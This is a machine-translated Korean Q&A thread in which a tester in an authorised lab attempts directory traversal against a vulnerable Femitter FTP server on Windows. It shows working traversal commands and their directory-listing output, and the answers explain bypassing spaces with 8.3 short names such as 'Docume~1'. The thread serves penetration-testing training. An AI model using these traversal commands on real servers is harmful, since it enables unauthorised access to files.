공백이 포함 된 디렉토리에 대한 FTP 디렉토리 탐색 공격


15

닫힌 참조 환경에서 제재 된 반항을 수행하고 있으며 겉으로는 단순한 문제로 어려움을 겪고 있으며 현재 해결할 수 없습니다.

MS Windows OS에서 실행되는 취약한 Fermitter FTP 서버에 대해 디렉토리 순회 공격을 시도 할 때 시스템 루트에서 LIST를 수행 할 수 있습니다 (주소 및 컨텐츠 목록은 참조 용으로 만 변경됨).

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

그러나와 같은 공백이 포함 된 폴더의 내용 Documents and settings을 나열하려면 공백이 무시되어 디렉토리 내용을 나열 할 수 없습니다.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

이미 다른 FTP 클라이언트 (Linux 및 Windows의 CLI 및 GUI)를 사용하려고 시도했으며 공백을 무시하거나 디렉토리 통과를 허용하지 않습니다.

또한 처음에는 원시 소켓을 사용하고 ftplib를 사용하여 HEX 형식의 명령을 FTP 서버에 직접 보내서 Python에 대한 공격을 스크립팅했지만 성공하지 못했습니다.

몇 시간 동안 인터넷 검색을 수행해도 해결 방법이 없었습니다 (예, 많은 옵션이 있었지만 작동하지 않았습니다). 그래서 같은 문제를 가진 사람이 여기 있습니다. 공백이있는 디렉토리 탐색이 필요한 것은 이번이 처음이 아닙니다.


대소 문자 구분은 FTP 클라이언트와 관련이없는 것으로 보입니다. 최소한 GNU / Linux FTP 클라이언트는 대소 문자를 무시한 디렉토리를 나열합니다.

@lockout : 대 / 소문자 구분은 클라이언트가 아니라 서버 측입니다. 클라이언트는 서버가 데이터를 전송하는 것과 같은 방식으로 데이터를 나열하며 사례를 변경하지 않습니다.
Steffen Ullrich

1
또한 C : \ Docume ~ 1 \을 시도하십시오.
개는 고양이 세계를 먹는다

1
\디렉토리 문자열로 공백을 이스케이프 처리 하거나 디렉토리 문자열을 인용하십시오
DavidPostill

1
나는 그것이 당신을 위해 @lockout 일한 것을 기쁘게 생각합니다. 귀하는 귀하의 질문에 답변하는 데 어려움을 겪었으므로, 답변으로 받아들이는 것은 나에게 좋습니다. 크레딧을 주셔서 감사합니다.
개는 고양이 세계 먹고

답변:


16

@Dogeatcatworld에서 제안한 솔루션은와 같은 MS Windows 디렉토리 짧은 표기법을 사용 C:\Docume~1\합니다.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

MS 기술 자료의 정말 좋은 기사는 8.3 디렉토리 표기법을 설명합니다. Windows가 긴 파일 이름에서 8.3 파일 이름을 생성하는 방법


2
OSCP 참조 팁에 추가하려면 "모든 사용자"와 같은 짧은 디렉토리의 경우 공백을 삭제하고 "AllUse ~ 1"을 사용하십시오. 대화식으로 탐색하기 위해 FTP를 마운트하는 방법을 찾거나 파일을 하나씩 다운로드하게되었습니다.
n00b

1

"짧은 이름"은 실제로는 오래된 DOS 8.3 명명 규칙이므로 일치하는 이름이 하나만 있다고 가정하면 모든 디렉토리는 첫 6 자 뒤에 ~ 1이됩니다.

C : \ ABCDEF ~ 1-C : \ ABCDEFG 디렉토리
임 C : \ BCDEFG ~ 1-C : \ BCDEFGHIJKL M 다른 디렉토리

유일한 예외는 다음과 같습니다.

C : \ ABCDEF ~ 1-C : \ ABCDEFG 디렉토리 임
C : \ ABCDEF ~ 2-C : \ ABCDEFGHI 디렉토리

출처 : Windows 디렉토리 / 파일의 짧은 경로를 어떻게 찾을 수 있습니까?


0

Ftp는 URL 인코딩을 사용하지 않으므로 브라우저에서 ftp를 사용하지 않으면 % xx는 작동하지 않습니다.

대신 인용 부호를 사용하십시오. 예 : ls "../../some dir"


1
HI, 디렉토리 탐색 시도를 살펴보면 작은 따옴표, 큰 따옴표 및 백 틱과 같은 여러 따옴표를 시도한 것을 볼 수 있습니다. FTP 출력 목록에 표시된대로 작동하지 않았습니다. 모든 옵션을 시도하는 필사적 인 시도 때문에 % 20을 사용하는 것이 효과가 있는지 실험하는 것입니다. 물론 % 인코딩은 브라우저 및 FTP 클라이언트에서 해석 할 수 있습니다.
잠금 시간
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.